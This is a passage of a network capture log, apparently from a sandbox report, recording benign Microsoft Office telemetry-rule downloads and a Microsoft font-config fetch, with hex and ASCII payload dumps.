2024-11-12 16:07:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 16:07:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 6d 6d 6b 59 48 44 66 4a 30 79 66 48 63 33 68 64 38 44 49 52 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6mmkYHDfJ0yfHc3hd8DIRw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:37 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 71d80149-801e-0083-3cb0-34f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160737Z-15869dbbcc6x4rp4hC1DFW5xa8000000014000000000mp9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160737Z-16547b76f7fx6rhxhC1DFW76kg0000000fu000000000h2ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49800	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 16:07:37 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=175082 Date: Tue, 12 Nov 2024 16:07:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 16:07:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:38 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:38 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160738Z-16547b76f7f22sh5hC1DFWyb4w0000000fsg00000000ecxh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:38 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:38 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:38 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160738Z-16547b76f7f775p5hC1DFWzdvn0000000fug00000000fc2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:38 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:38 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2c4fdaaf-601e-0032-31a7-34eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160738Z-15869dbbcc662ldwhC1DFWh4e0000000068000000000g3w2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:38 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:39 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160739Z-16547b76f7f7rtshhC1DFWrtqn0000000ft000000000q6gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:39 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:39 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e9278802-001e-002b-42a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160739Z-15869dbbcc6qwghvhC1DFWw7e80000000170000000007ems x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:39 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:39 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 50ec53c4-601e-0070-35a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160739Z-17df447cdb5zfhrmhC1DFWh3300000000c60000000008pxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:40 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6e8dc5a-601e-0002-3da0-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160740Z-15869dbbcc6ss7fxhC1DFWq6vs00000009a0000000006xrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:40 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:40 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ff96e4fc-901e-00ac-66a2-34b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160740Z-15869dbbcc6sg5zbhC1DFWy5u800000007u000000000d1ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:40 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:40 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160740Z-16547b76f7fj5p7mhC1DFWf8w40000000fwg00000000mcws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
